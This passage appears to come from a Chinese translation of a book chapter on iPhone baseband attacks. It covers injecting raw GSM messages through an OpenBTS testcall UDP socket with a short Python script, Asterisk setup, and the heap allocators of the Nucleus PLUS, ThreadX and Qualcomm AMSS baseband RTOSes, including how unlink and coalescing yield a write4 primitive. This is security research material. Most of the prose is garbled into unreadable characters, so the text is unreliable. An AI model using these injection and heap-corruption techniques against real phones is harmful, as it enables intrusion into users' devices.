፝5 sௐᫍὋཨՐС᫆ᮺᛠഴयὋࣲв൒੯ᛠᎩፎᤤસ᣾ርὋܷࠑᄉiPhoneဗ͗ڙ੯ᛠ߸Кੲଠǌ 
᝹Ꮅ᤯ՓiPhoneᄉ̽֐ʽݟԺ̾ഴ઱֏Զतበᄉኃʶ˓᫼ൿǌѽၸࡂ;ซбҁᎩፎ˧ՐὋڙ

ˉҫζ᥊Ὑ 

OpenBTS> tmsis 
TMSI        IMSI              IMEI(SV)            age     used 
0x4f5e0ccc  262XXXXXXXXXXXX   01XXXXXXXXXXXXXX    293s    293s 
 
1 TMSIs in table 
OpenBTS> testcall 262XXXXXXXXXXXX 60 
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OpenBTS> calls 
1804289383 TI=(1,0) IMSI=262XXXXXXXXXXXX Test from=0 Q.931State=active 
SIPState=Null (2 sec) 
1 transactions in table 

 ซбiPhoneᄉTMSI὇Temporary Mobile Subscriberࣂ௬ᇧ͗̽֐Ὃtmsis˖ߔʼ᭦ᄉΒڙ
IdentitiyὋ˙ௐሧҮၸਖ਼ខѾᆉὈ̾Ԣˀ˧ࠪःᄉIMSI὇International Mobile Subscriber IdentityὋ
ڍᬄሧҮၸਖ਼ខѾᆉὈǋIMEISV὇International Mobile Equipment Identity and Software VersionὋڍ

ᬄሧҮ᝹ܫខѾᆉԢᣃ͇ྟఴὈὋᤆѴѢѹ൒ซбᄉௐᫍ̾Ԣణᤂʶ൒΍ၸᄉௐᫍǌᏪtestcall

ܫ28670ቪԯʼὈ֖᤯ՓХథኃ̃˓ԟஜ੝ᇧIMSIᄉሧҮ᝹ڙ὇᳭ᝢߙଋݒ੩धʶ˓UDP͗̽֐

ᄉˉҫζ᥊ǌᤇಧࡂԺ̾ՓឞUDPቪԯԦᤞஜ૵ઐὋᤇ̎ஜ૵ઐ͗ͺ˝GSM L3ࡎஜ૵ӉᜁᣀԦ

ҁሧҮ᝹ܫὋԥ˧̕ཨǌ͉ʹௐϊᦏԵᑞథʶ˓testcallࠃΒ̅ܪาҮ࿃খǌਆᅻ᥊तበ˿ג

˓֏ԶὋܷࠑԺ̾΍ၸcalls̽֐ǌ�

ཨՐὋੇ͂ࡂ᜵ڙԲʶ˓ጻቪᤁᛠݟʽPythonᑭఴὋഴ઱֏ԶᄉतበὙ 

import socket 
import time 
from libmich.formats import * 
 
TESTCALL_PORT = 28670 
 
tcsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
tcsock.sendto(str(L3Mobile.SETUP()), ('127.0.0.1', TESTCALL_PORT)) 

ᄉ֏Զतበ๖োݼԦᤞ˿ѹڙǌซ਒Ὃ˿ܥःឞֽᡐᨢࡂᄉiPhoneࠑ੯ᛠឞᑭఴ˧ՐὋܷڙ

ՐὋࣲܷࠑలፘ፝ᤈᛠ࿃খᣀ૰Ὃځ൤੣఺ֽڙᨢௐ͗Ѣဗϛ൪࿃খǌݟ౦฽ណ੆ҩᄉពὋ;Ե

᜵ઁOpenBTSС૿ࡂᛠ˿ǌ�

ᇕ䯁䜡㕂੠Asteriskᢼো㾘߭ 
ڙ౦ਆ᜵ݟधஉᦠᎵʽᤁᛠOpenBTSᄉǌڙ௦˝ځґ᭦ᄉଠᤗ˖ʿॸᦠᎵAsteriskὋڙࠑܷ

᜵ࠪ࠵ᒯࡂ;ᤈᛠ֏ԶὋᫍܫซбҁ฽ណᎩፎᄉ᝹˓ܲڙᦠᎵʽᤁᛠOpenBTSὋ੊௦ਆ᜵᫆࠯

Asteriskᤈᛠʶ̎۲ఴᦠᎵǌܷࠑణᡐᆉ᜵ઁʽ᭦ᤇіᛠᤜҪҁ᳭ᝢᄉextensions.conf஠͇˖Ὑ 

[sip-openbts] 
exten => 6666,1,Dial(SIP/IMSI2620XXXXXXXXX) 
exten => 7777,1,Dial(SIP/IMSI2620YYYYYYYYYYY) 

ࣲઁʽ᭦іᛠᤜҪҁ᳭ᝢᄉsip.conf஠͇˖Ὑ�

  [IMSI2620XXXXXXXXXXX] 
callerid=6666 
canreinvite=no 
type=friend 
context=sip-openbts 
allow=gsm 
host=dynamic 
 
[IMSI2620YYYYYYYYYY] 
callerid=7777 
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canreinvite=no 
type=friend 
context=sip-openbts 
allow=gsm 
host=dynamic 

ឯᆷγsip.conf֖extensions.confᄉʼʽ஠֖IMSIಕខቿᦏ௦ᄰ̈ӛᦠᄉǌ�

11.3� ण䆂ᷜПϟⱘ RTOS 
ॆ̬ఄᑞ੣఺ᄉᚃቖ۲ࣛԺ᜼ͺʶ˓࿗በᄉߔጆፑὋ߱ DSPǋݟ٧὇ΒူܪХథ˃ၸӨࣁᒬڙ

crypto֖3GӨ٧ူܪὈᄉ٧ူܪʼᤁᛠᅋᒬథᄉୱͺጆፑὋᏪᤇథү̅໗ᡛᚃቖ᤯ζᄉࠃௐᭉයǌ

ௐୱͺጆፑὋథௐၴᒯ௦ࠃᚃቖӨᝫಖ὇cellular stackὈ˧ʽᄉୱͺጆፑ௦˃᫂ᄉڙ൤Ὃᤁᛠځ

۲ࣛӨᝫಖ὇baseband stackὈΘः׷˃థᄉúúඊᰳݟ᤯ᄉREXǌʿ᣾ఝ࣡᜸ᄉৰх௦ὋᚃቖӨ

ᝫಖᄉ੝థᏧ͗ڙᤁᛠФᚃቖӨᝫಖᄉ᝹ܫʼԦஉ׷ၸOS᝴Ժǌᤇ̎ୱͺጆፑᄉ˞᜵͉ҫ௦థ

஌ࣲࣛథࠃௐጝోڠክူ٧ူܪǋЮ֖ߚ੝ᤋଋ᝹ܫ˧ዜᄉᠪຸὋᤇज़ज़ᝧ߱͂ᄹͪˀಷ᭦ୱͺ

ጆፑథᅋܸܡ˧ѾὋͭФࣲࠃ᭣ݟ൤ǌ 
ଋʽ౎ੇ͂ኤ᜵᫧ᤗڙʿՎۋՁᄉiOS᝹ܫ˖΍ၸᄉ3ሗࠃௐୱͺጆፑὋࣲ ̭ፀඇሗୱͺጆፑ

˖͉ҫ/ጲርଌ҃ǋ͉ҫ/ጲርᫍ᤯ζ֖ᩙ఺҃ǋЮߚክူ֖Юߚγએᄉࢹͺԓူǌ 

11.3.1� Nucleus PLUS 

Nucleus PLUS௦ၿMentor GraphicsМՂ଍Ѣᄉʶሗᜁࣸค΍ၸᄉ׷ၸRTOSὋຸ̼߱̾ᆉ्

यଡΘፋ̶᠟ᖌ३΍ၸ᝴Ժᄉ̠ǌS-Gold 2֖X-Gold 608۲ࣛᦏ΍ၸ˿Nucleus PLUSǌʿࢻᄉ௦Ὃ

ᄫґ෤థథСNucleus PLUSᄉݝ஠ುМधὋʿ᣾߽ழ੣бࣂፂ෹᭚˿ǌ 
Nucleus PLUS˖ᄉ੯ᛠӬЊሥ˝͉ҫǌᤇ͉̎ҫԺ̾ҮখڠѸत֖ѺᬓὋࣲ͉̾ڙҫѸतௐ

ᄉ͕Ўጞᤁᛠǌࠪ˦߿ ̅ඇ˓͕Ўጞ౎ឬὋ̅ܪឞጞѾᄉ੝థ͉ҫᦏ௦̾ᣂលழयុऎௐᫍྞᤁ

ᛠᄉὋ߱͂ᤆԺᑞᄯଋᝧѢ٧ူܪǌʿክ௦Кࡌᔴډᤆ௦ڙՉ˓͉ҫ˖Ὃ઎ӳᦏ௦ʿᜁЉ᝴ᄉǌ

ISR὇Interrupt Service RoutineὋ˖றనҫΒርὈ௦ܲሗʿՎᄉ੯ᛠӬЊǌ౎ᄹіሗʿՎዜۋᄉISR
ᫍᄉӜѾǌኃʶዜ௦ၸਖ਼ISRὋ߱͂ʿᑞ΍ၸNucleus PLUSనҫὋᏪ˄ᭉ᜵ᒬᛠγܬু֖ߚ੝΍

ၸᄉ࠘٧ߚǌ߱͂௦ᄯଋ૤ፄҁ˖றՓ᧙ᄉὋᏪ˄ల᤯᣾Nucleus PLUSซбǌଋʽ౎௦ͯጞISR
὇LISRὋኃʶጞ˖றူܪርࣿὈ֖ ᰳጞISR὇HISRὋኃ̃ጞ˖றူܪርࣿὈǌLISRԵХథࠪNucleus 
PLUSనҫᄉథᬌ᝺᫇ాὋࣲ ˄௦૤ፄҁ˖றՓ᧙ᄉὋᏪHISRᄉុऎழयˀ͉ҫᄉុऎழयዜͪὋ

ࣲԺ̾ុၸܷܲஜᄉNucleus PLUSనҫǌ 
Nucleus PLUSᄉЮߚѫᦠ˶ѫˏሗ्यὙѫӜЮߚ὇partition memoryὈ֖ ҮখЮߚ὇dynamic 

memoryὈǌᤇˏሗЮߚᦏ௦ڙЮߚ෈˖ᤈᛠክူᄉὋᏪЮߚ෈ᭉ᜵ڙѫᦠЮߚ˧ґ̂Ў߿˦ǌڙ

෤กበԀ੯ᛠЮߚѫᦠௐὋ͉ҫ௦Ժ̾ఆϢᄉὋᤇಧ͗ࡂᝧ͉ҫʶᄯኍय़Ὃᄯҁథܷ࠴Ջ᤟ᄉЮ

˖෈ߚὋඇ൒ុၸѫᦠѥஜᦏ̯͗ЮڰߚᄉЮ࠴ܷ߿ڌඇ൒ѫᦠᄉᦏ௦ߚԪ˝ቆ᫋ǌѫӜЮڰߚ

ᖌ३ʶ˓ܷ࠴ѷݝ˝ឞ߿ڌϘᄉЮڰߚǌᤇሗЮߚክူழयࠃڙߚڙௐጝోᄉࢥЙयጆፑ˖Ӡѫ
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࣡᜸Ὃځ˝ᤇᝧЮߚѫᦠԺ̾߿়ڙᄉ੯ᛠௐᫍЮԦၶǌ൤ܰὋѫӜЮߚᄉቆᫍѽၸညఝᰳὋځ

˝ʿᭉ᜵˝ЮߚڰߚϱѫᦠЊஜ૵ǌҮখЮߚѶЉ᝴̯Юߚ෈˖ѫᦠܷ࠴ԺԪᄉЮߚὋዜͪ̅࣡

᜺ᄉmalloc()ࠃဗǌ὇ឯԟ᫝11.3.4ᓫ̾˿ᝌ۶ࠃဗᄉЮৰǌὈ 
͉ࠪ̅ҫᄉՎ൥֖̈஭ᏪᝒὋ᜵ၸҁζՁ᧙ǌNucleus PLUSࠃဗᄉζՁ᧙ᦏ௦᝟ஜζՁ᧙ǌ 
Nucleus PLUS˖ܲڙߚሗ͉ҫᫍ᤯ζழयǌܷࠑԺ̾ҮখѸत֖Ѻᬓᥪ኷ǌ߱͂௦ణԓݼᄉ

ஜ૵͛ᣤழयǌඇ˓ᥪ኷ᦏԵᑞߚஉʶ్ѷݝၿ4˓32ͮߙౝ੆ᄉ๖োǌክ᥊֖᫲ѴѶ௦ҩᑞఝ

ुܷᄉԓឥǌᤇಧܷࡂࠑԺ̾Ԧᤞၿߙᓫ὇ክ᥊Ὀ੊32ͮߙ὇᫲ѴὈౝ੆ᄉ్ܲ๖ো˿ǌѸतᄉ

ክ᥊֖᫲Ѵ௄Ժ̾௦Ԫ᫁ᄉὋ˶Ժ̾௦᫁߿ᄉὋФዜڙۋѸतௐ߿˦ǌ๖ো௦૊Ϙ὇Ꮺʿ௦૊ल

ၸὈஅԦᄉὋੇ ͂Ժ̾ࠪ๖োᤈᛠࣸ୦ὋᏪ˄ኍᅋࠪ᫲Ѵଋஅ๖োᄉ͉ҫ͗ᔙᧇࣲଋஅᤇ̎๖োǌ 
Nucleus PLUS੝ஂ૆ᄉ͉ҫᫍζ̽ˀՎ൥఺҃ᤆӉહ͇̂ጷ֖ζՁὋʿ ᣾߱͂Եӳၸ˿౜˝

థᬌᄉࣛࠔǌ 

11.3.2� ThreadX 

ThreadXˀNucleus PLUSՎ߼ՎຸὋᤇˏሗୱͺጆፑᦏ௦ၿᣃ͇ࢹር࣍William Lamieᎃзᄉǌ

ϷNucleusᥦಧὋThreadX˶௦ຸ̼̾ᆉᄉ्यѫԦፋᖌ३΍ၸ᝴Ժᄉ̠Ὃͭ߱௦ၿExpress Logic
МՂଡΘᄉǌˀNucleus PLUSᄰඊὋThreadXᄉAPIܬఽऎ௬ᗂᬋͯὋᏪ˄˖றͳጆ३ҁ˿ख़ऄᄉ

᭨ளǌˀఴብଠᤗᄉФ̴ࠃௐୱͺጆፑʿՎὋEdwards C. Lamie୨з˿ʶఴథСThreadXᄉݝ˹

Real-Time Embedded Multithreading: Using ThreadX and ARM὇1578201349ὋCMPὋ2005ࣱѢྟὈὋ

សጹ̭ፀ˿ThreadXᄉࠃဗǌځ˝ThreadXˀNucleus PLUSథᅋࠚѬСጆὋ੝̾ੇ͂ڙఴብ˖ࠪ߱

  ʿͺᠻᤗ˿ǌࡂ

11.3.3� REX/OKL4/Iguana 

REX὇Real-time Executive SystemὋࠃௐ੯ᛠጆፑὈ௦ၿᰳ᤯МՂ˝ФMSM὇Mobile Station 
ModemὋሧҮԻុ҃ᝌុ٧ὈጆѴֵ̖धԦᄉࠃௐୱͺጆፑǌᤁᛠڙMDM66x0ጆѴᔆྞʼᄉAMSS

὇Advanced Mobile Subscriber SoftwareὋᰳጞሧҮၸਖ਼ᣃ͇Ὀ᧓ၸ˿ឞࠃௐୱͺጆፑǌ̯2006ࣱళध

REXᄉஂଢ଼ʽL4ᛡၶᄉॱЮನúúOKL4ǌڙὋᰳ᤯МՂ˝ФᚃቖӨᝫಖࣛ౎˿ʶᮉ᧗ܷѸளὙݼ
 ఴᄉOKL4௦ຸ̼̾ᆉᄉ्यБ᠟ଡΘᄉὋᤇܷܷኤӐ˿ࠪAMSSᄉѫౡǌྟ̎౼ڙݝ

OKL4̨̨௦ឞጆፑᄉॱЮನǌᏪୱͺጆፑ˖ឰݟᘾ઱Юߚክူ֖ᤈርክူ˧ዜᄉ᧗᜵ҩᑞ

ᦏ௦ၿL4నҫ٧IguanaࠃဗᄉὋᏪ߱ᄉຸ̼ᆉ˶௦Б᠟ଡΘᄉǌIguana֖L4ᄉ੯ᛠӬЊ௦ጲርǌ

 ௦L4ጲርὋᏪ˄Ժ̾᤯᣾L4 API֖Iguana API౎ୱଌǌࡂʼὋIguanaጲርࠃ̂
Iguana΍ၸ˿ӬʶڦڠቆᫍὋᝧஜ૵Р̙Ԫ३ॡథ஌ညὋᏪ˄߱˝ඇ˓ᤈርलЙ˿γએ۪̾

 ᤈርԺ̾᝺᫇ᄉᠪຸǌ˿˦߿ஶФ߶Кን႔ǌγએ۪Ժ᜼ͺኍՎ̅͛ፑୱͺጆፑ˖ᄉᤈርὋ߱ࠃ
Юߚൿ὇memory sectionὈ௦ᄰ᥵ᄉᘾ઱ᮅ᭦Ὃ߱͂௦Iguana˖ᘾ઱Юߚѫᦠ֖γએᄉ۲ఴӬ

ЊǌЮߚൿ௦ѽၸmemsection_create()ѸतᄉὋ௄Ժ̾ڙल࠭ௐѸतὋ˶ Ժ̾ڙᤁᛠௐѸतǌ 
OKL4/Iguanaˀఴብ˖ᝦ᝶ᄉФ̴ࠃௐୱͺጆፑ˧ᫍڙߚʶ˓௬ᗂࢿऩὋԀԵథୱͺጆፑ௦

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



278� � ኃ 11 ብ� ۲ࣛஈѣ 

 

̾ᡓጞၸਖ਼ഴयᤁᛠᄉὋࠃᬄᄉःၸ὇ఴΒ˖ࡂ௦ᚃቖӨᝫಖὈѶʿ௦ǌӉહ᯵ҮርࣿڙЮᄉ

AMSS߸К௦̾ၸਖ਼ഴयᤁᛠᄉǌ 

11.3.4� ේⱘᅲ⦄ 

ఴᓫ͗ຆЙ̭ፀᤇіሗୱͺጆፑᄉ۶ЮߚክူЮৰǌܷ ѽၸᤇ᧖ଡΘᄉζোᤈࠪ࠵ःឞܲࠑ

ᛠᄉ۶ᎀуӜຼѢ໣วஈѣథ̎ཿ৘˿ǌ 
1. Nucleus PLUSЁⱘࡼᗕݙᄬ 
Nucleus PLUSѽၸኤӬᄉᯪ൒᤟ः὇ first-fitὈѫᦠርࣿክူҮখЮߚǌࠪ̅ѽၸNU_ 

Create_Memory_Pool()ѸतᄉЮߚ෈ᏪᝒὋ᜵Ѹत्यݟʽ੝ᇧᄉЮߚ෈ଌ҃ڰὙ 
struct dynmem_pcb 
 
{ 
    void                *cs_prev; 
    void                *cs_next; 
    uint32_t            cs_prio; 
    void                *tc_tcb_ptr; 
    uint32_t            tc_wait_flag; 
    uint32_t            id;             /* magicኵ ['DYNA'] */ 
    char                name[8];        /* ۯༀా٪ڦ׾ఁ׬ */ 
    void                *start_addr;    /* ా٪ڦ׾ഐ๔ں኷ */ 
    uint32_t            pool_size;      /* ా٪ٷڦ׾ၭ */ 
    uint32_t            min_alloc;      /* ፌၭݴದٷၭ */ 
    uint32_t            available;      /* ጺࠌ੗ᆩጴবຕ */ 
    struct dynmem_hdr   *memory_list;   /* ా٪૾՗ */ 
    struct dynmem_hdr   *search_ptr     /* ֱቴኸኍ */ 
    uint32_t            fifo_suspend;   /* ࠬഐૌ႙Քኾ*/ 
    uint32_t            num_waiting;    /* ځڪዐڦඪခڦຕଉ */ 
    void                *waiting_list;  /* ࠬഐ૾՗ */ 

}; 

ၿNU_Allocate_Memory()ѫᦠᄉඇ˓Юڰߚᦏդథፆౝ὇16ߙᓫὈݟʽᄉܿᦉὙ�

struct dynmem_hdr 
 
{ 
    struct dynmem_hdr   *next_blk,      /* ࢫीా٪੷ */ 
                        *prev_blk;      /* മൻా٪੷ */ 
    bool                is_free;        /* ా٪੷੣ှՔኾ */ 
    struct dynmem_pcb   *pool_pcb;      /* ۯༀా٪׾ኸኍ */ 

} 

 _ᭉ᜵ၸNU_Create_Memory_Pool(pcb, name, start࠵ґὋੇ͂ᒯ˧ߚѫᦠҮখЮڙ

addr, size, min_alloc, suspend_t)Ѹतʶ˓Юߚ෈ǌ�

� pcb� ૈՓЮߚ෈ଌ҃ڰᄉૈ᧪ǌ 
� name� ASCIIᆉᛪᇧᄉЮߚ෈Տሥǌ 
� start_addr� ឞЮߚ෈˖Ժၸ̅ѫᦠᄉኃʶ˓Юڦڠߚǌ 
� pool_size� Юߚ෈ᄉܷ࠴Ὃ̾ߙᓫ˝Ӭͮǌ 
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� min_alloc� ඇ൒ѫᦠᄉణ࠴Ю࠴ܷߚὋ̾ߙᓫ˝Ӭͮ὇ѫᦠఝ࠵ᄉЮ͗ߚᒬҮԨܷ˝

min_allocὈǌ 
� suspend_t� ఆϢᄉዜۋ὇௦ՠ˝FIFOὈǌ 
ឞЮߚ෈͗ᝧpcbᜁѹݼӐὋ߱௦ܷ࠴˝(pool_size - 2 * dynmem_hdr)ᄉӬڰЮߚὋ

Ꮺ˄ళቪڙၿpcb->memory_listૈՓᄉ९ဖᩖᛪ˖ǌ 
ѽၸNU_Allocate_Memory(pcb, &ptr_to_allocation, size, NU_NO_SUSPEND)ѫ

ᦠЮ͗ڰߚ੯ᛠݟʽኪกǌ 
(1) ѽ ၸ mem_ptr Ԫ ᧙ ࠪ ၿ pcb->search_ptr ૈ Փ ᄉ Ю ߚ ᩖ ᛪ ᤈ ᛠ ᤕ ̼ ǌ 

ࠪ̅ඇ˓Юڰߚᦏ᜵೜ಉ௦ՠ᝹Ꮅ˿is_freeಕংǌݟ౦᝹Ꮅ˿Ὃ̽ࡂmemblk_size = 

(mem_ptr->next_blk – mem_ptr - 16)ǌଋᅋ೜ಉ௦ՠథmemblk_size >= sizeǌݟ౦

໗ᡛឞ్͇Ὃឞኪกࣂࡂፂ੼ҁ˿Ջ᤟ᄉЮڰߚǌ 
 ᩱឧ్͇Ὃ੊௦ఆϢ͉ҫ὇Ԩф̅௦ՠЉ᝴ఆϢὈǌٿᤄࡂὋڰߚ౦෤੼ҁՋ᤟ᄉЮݟ (2)
ᩖڙὋࣲڰˏ˝ѫڰߚЮઁࡂ౦(memblk_size – size) > (min_alloc + 16)Ὃݟ (3)

ᛪళቪଢЙቆ᫋Юڰߚǌ 
᧕உЮڰߚ᜵΍ၸNU_Deallocate_Memory(blk)Ὃ᧕உѥஜ͗ϛ᝹dynmem_hdrڙblk˧ґǌ 
ᤇ᧖ʿ͗ࠪdynmem_hdrፆౝͳఴᢵ੯ᛠ೜ಉὋͭ ᜵೜ಉЮߚ෈ૈ᧪௦ՠ᭣NULLὋᤆ᜵೜ಉ

Юߚ෈ଌ҃ڰᄉmagic value௦ՠӛᦠǌઁڙЮڰߚв൒ಕ᝭˝ቆ᫋ὋࣲុஞЮߚ෈˖Ժၸߙᓫஜ

˧ՐὋ᤯᣾೜ಉФґ᯵Юܿڰߚᦉ֖ՐፘЮܿڰߚᦉᄉis_freeಕংὋឞѥஜᯪЎ͗೜ಉࣂ᧕உ

ᄉЮڰߚᑞՠˀ߱ᄉґ᯵ЮڰߚՋࣲὋཨՐ೜ಉ߱ᑞՠˀФՐፘЮڰߚՋࣲǌᤇʶ᣾ር᤯࣡ሥͺ

Ջࣲ὇coalescingὈǌឞୱͺ͗˝ஈѣᏧଡΘ੝៊ᄉ௃ᬌ҃write4ԓឥὋᤇಧࡂԺ̾ѽၸ۶ᎀуӜ

ຼѢڙЮߚ˖͉ʹͮᎵзЙ͉਒ᄉ32ͮϘǌ 
2. ThreadXЁⱘᄫ㡖∴ 
ThreadX˶΍ၸ˿ᯪ൒᤟ःѫᦠርࣿὋФࢹͺ఺҃ˀЎґଠᤗ᣾ᄉNucleus PLUSᄉѫᦠርࣿ

ӠѫᄰͪὋͭᤆ௦ڙߚʶ̎௙௬ӜѾὋੇ͂ڙᤇ᧖សጹ̭ፀʶʽǌߙᓫ෈ᄉଌ҃ڰХథݟʽፆౝ

὇Ԩᒬtx_api.h஠͇ὈὙ 
typedef struct TX_BYTE_POOL_STRUCT 
{ 
    /* ۨᅭᆩᇀٱဃॠֱڦጴব׾ID */ 

    ULONG       tx_byte_pool_id; 
    /* ۨᅭጴবڦ׾ఁ׬ */ 

    CHAR_PTR    tx_byte_pool_name; 
    /* ۨᅭ޿ጴব׾ዐ੗ᆩڦጴবຕ */ 

    ULONG       tx_byte_pool_available; 
    /* ۨᅭ޿ጴব׾ዐ܎ೌڦຕ */ 

    ULONG       tx_byte_pool_fragments; 
    /* ۨᅭጴবڦ׾ཀྵኸኍ */ 

    CHAR_PTR    tx_byte_pool_list; 
    /* ۨᅭֱቴኸኍǈᆩᇀሞጴব׾ዐֱْ؛ڦ٪ాܔቴ*/ 

    CHAR_PTR    tx_byte_pool_search; 
    /* ԍ٪ጴব׾໯ሞా٪൶ᇘڦഐ๔ں኷ */ 

    CHAR_PTR    tx_byte_pool_start; 
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    /* ԍ٪ጴবٷڦ׾ၭǈڇ࿋ྺጴব */ 

    ULONG       tx_byte_pool_size; 
    /* ኄᆩᇀሞֱკײࡗዐՔऻጴবా٪ڦ׾໯ᆶኁă 
       ස޿ࡕኵሞֱკ೺क़݀ิ߀Վǈ 
 /*ਆևኸኍՂႷዘዃ޿       

    struct TX_THREAD_STRUCT *tx_byte_pool_owner; 
 
    /* ۨᅭጴবࠬ׾ഐ૾՗ڦ՗ཀྵǈᅜतᆶܠณ၍ײԥࠬഐ */ 

    struct TX_THREAD_STRUCT *tx_byte_pool_suspension_list; 
    ULONG                    tx_byte_pool_suspended_count; 
    /* ۨᅭ໯ظॺ૾՗ࢫڦीኸኍࢅമൻኸኍ*/ 

    struct TX_BYTE_POOL_STRUCT 
                *tx_byte_pool_created_next, 
                *tx_byte_pool_created_previous; 
} TX_BYTE_POOL; 

Юڰߚᄉܿᦉ௦ၿˏᦉѫጷ੆ᄉὋʶᦉѫ௦ᛪᇧឞྱ߿Юࣂڰߚᜁѫᦠ὇ၿmagic value 
0xFFFFEEEEᛪᇧὈ੊̮ᜁ᜼ͺþቆ᫋ÿᄉߙൿὋԲʶᦉѫ௦ૈߙٿᓫ෈ଌ҃ڰᄉૈ᧪Ὑ�

struct bpmem_hdr { 
    uint32_t is_free_magic; /* සాࡕ٪੷๟੣ှڦǈሶዃྺ0xFFFFEEEE */ 
    TX_BYTE_POOL bpcb;      /* ኸၠጴবా٪׾੦዆੷ڦኸኍ */ 

} 

ၸ̯̅ፋ߿ᄉߙᓫ෈˖ѫᦠЮڰߚᄉtx_byte_allocate()ѥஜʿ͗ᄯଋ᥅Ԋtx_byte_ 

pool_listὋᏪ௦͗ុၸfind_byte_block()ѥஜ߸੆ᤇʶࢹͺǌݟ౦Բʶጲርࣂፂߙڙᓫ෈

˖ఆϢὋੇ͂ࡂ᜵᤯᣾tx_byte_release()ុၸfind_byte_block()ѥஜǌڙЮڰߚᜁ᧕உ

Րࣲʿ͗ᄯଋԦၶՋࣲὋᏪ௦థ੝ढᤌǌݟ౦෤థФ̴ጲር̅ܪኍय़˖Ὃុڙၸ

tx_byte_release()ௐࡂԵథܿᦉᄉis_free_magic͗ᜁఝளǌᏪԵథڙ੼ʿҁ੝ឯයܷ࠴ᄉ

ЮڰߚௐὋfind_byte_block()˖੥͗Ջࣲᜁಕ᝭˝ቆ᫋ᄉ᥵ଋЮڰߚǌ�

3. 催䗮䇗ࠊ㾷䇗఼ේ 
̲ጹ˿ᝌᰳ᤯ᄉӨᝫಖὋ;͗ࡂԦဗAMSSࠃᬄʼ΍ၸ˿ܲሗʿՎᄉ۶ࠃဗǌځ˝ុ҃ᝌុ

٧ᄉಖᎀуӜѫᦠల΍ၸIguanaѫᦠርࣿὋ੝̾ੇ͂ڙᤇ᧖෤ॸ᜵̭ፀឞѫᦠርࣿǌᤇ᧖᜵ᆐቂ

ᄉ௦΍ၸణ˝ࣸคᄉѫᦠርࣿὋ߱ͪ˪௦AMSS˖ᄉጆፑѫᦠርࣿὋᏪ˄಩૵̯amss.mbñᤈ҃

஠͇੼ҁᄉߙቿ˘౎ѻறὋ߱ᄉՏሥःឞ௦modem_mem_alloc()ǌ 
ˀ˧ґˏሗѫᦠርࣿʿՎὋឞѫᦠርࣿ௦ణ·᤟ः὇best-fitὈѫᦠርࣿὋᄰඊ˧ʽ߱᜵ܬఽ

३ܲᏪ˄ఝሶ߿ʶ̎ǌੇ ͂෤ҨกសࡉଠᤗឞѫᦠርࣿὋʿ ᣾͗ઁዴҦᬶ˖ڙణ᧗᜵ᄉʶ̎ҩᑞ

ʼὋ˝ܷࠑᤈᛠᤈʶ൥ᄉᤣՓࢹርधʶ˓ܿݝǌ 
ឞѫᦠርࣿ෤థѽၸЮᩖڰߚᛪὋᏪ௦΍ၸ˿31˓ʿՎܷ࠴ᄉЮߚ኷ǌᤇ̎Юߚ኷Ժ̾ࠓጩ

ᄉЮߚѫᦠܷ࠴ѫѾ௦0x4ǋ0x6ǋ0x8ǋ0xCǋ0x10ǋ0x18ǋ0x20ǋ0x30ǋ0x40ǋ0x60ǋ0x80ǋ

0xC0ǋ0x100ǋ0x180ǋ0x200ǋ0x300ǋ0x400ǋ0x600ǋ0x800ǋ0xC00ǋ0x1000ǋ0x1800ǋ

0x2000ǋ0x3000ǋ0x4000ǋ0x6000ǋ0x8000ǋ0xC000ǋ0x10000ǋ0x18000֖0x20000ǌ

ᤇ̎Юߚ኷˖Юڰߚᄉࠃᬄܷ࠴᜵ඊЮߚ኷ᄉಕሥܷߙ16ܷ࠴ᓫὋ̯ᏪઁЊஜ૵֖8ߙᓫᄉ᣷ႌ

ࠪᴎᏥᘼڙЮǌЮڰߚᄉܿᦉݟʽ੝ᇧὙ 
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struct mma_header { 
       uint32_t size;          /* ݴದٷڦၭ */ 
       uint32_t *next;         /* ኸၠࢫीా٪੷ڦኸኍ */ 

       uint8_t reference; 
       /* ᆩᇀ൶ݴփཞۙᆩኁ֖ڦቷኵ */ 
       uint8_t blockstatus;    /* ඓۨా٪੷๟੣ှ࣏๟ԥ቞ᆩ */ 
       uint8_t slackspace;     /* ా٪੷࿂ևှڦዃ੣क़ */ 
       uint8_t canary;         /* ᆩᇀඓۨా٪໦࣋ڦcanaryኵ */ 

} 

ࠪ̅ቆ᫋ᄉЮڰߚ΍ၸ˿ݟʽஜ૵ፆౝὙ�

struct mma_free_block { 
       mma_header hdr; 
       mma_header *next_free, *prev_free; 
       /* ੣ှా٪੷ڦມၠ૾՗ */ 

} 

ឞѫᦠርࣿ΍ၸᄉcanaryϘ௦0x6Aǌඇॆmma_headerፆౝͳᜁ᝺᫇ᦏ᜵੯ᛠ೜ಉὋ̾ᆷᝢ

ឞcanaryϘ௦ՠγ૆ʿԪὋݟ౦ԪӐ˿̖҃ु࠱ࡂၶ࢜ຳǌឞҩᑞ᤯࣡ࠪ਒ܰᤴ੆὇Ꮺ᭣థ਒˝

˧ὈᄉЮߚ૮ڭఝథ਒˦ὋᏪࠪڙឞಖᤈᛠഴዹ฽ណௐ;ःឞ᝭Ͱᤇʶৰхǌࠪ̅۶໣วஈѣ౎

ឬᤆథʶᮉϘ३ซ਒ᄉҩᑞὋԀѫᦠርࣿ͗೜ಉ͛ᤫፋmodem_mem_free(ptr)ᄉૈ᧪௦ՠᄽൣ

ૈՓឞ۶੝΍ၸᄉЮߚӜ۪ǌځ൤ڙឞಖ˖Ѹतϛᄉ۶ፆౝ௦ʿᡐͺၸᄉǌ�

ҁiOS 5.1ѢဗௐὋ˧ ґ̭ፀᄉ۶ѫᦠርࣿࣂፂ᤯᣾ຊҪ߶Кᝌᩖ೜ಉ३ҁुӐὋХͳழयࡂ

௦ڙ੯ᛠᝌᩖୱͺ˧ґὋၿѫᦠርࣿ೜ಉ௦ՠథfree_block->next_free->prev_free == 

free_block->prev_free->next_freeǌ 

11.4� ⓣ⋲ߚᵤ 

˧ґіᓫᡛܴសጹ̭ڠፀ˿ˀGSM֖ࠃௐୱͺጆፑథСᄉЮࠓὋ๯ᄥ˿ܷࠑᭉ᜵ཿ৘ᄉՉሗ

۲ᆨᅻខὋଋᅋੇ͂ࡂ᜵ᝎԢ̂ৰᄉನॶ˿Ὑ੼ҁԺ̾ѽၸᄉ໣วǌڙᅋ੣˧ґὋੇ͂ᤆᭉ᜵ᝌ

᧕ᤈᛠࠃᬄѫౡௐᄉʶ̎ୱͺ̂ᮉǌ  

11.4.1� 㦋ᕫᑊᦤপ෎ᏺ೎ӊ 

